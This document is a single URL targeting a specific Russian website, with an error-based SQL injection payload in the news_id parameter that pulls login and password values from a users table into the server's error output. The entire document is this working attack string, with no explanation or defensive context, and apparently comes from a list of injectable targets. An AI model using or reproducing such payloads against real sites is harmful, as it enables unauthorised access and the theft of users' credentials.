http://www.labtribo.ru/live/news.asp?news_id=1+or+1=(SELECT+TOP+1+cast(login+as+nvarchar)%2Bchar(58)%2Bcast(password+as+nvarchar)+FROM+users)--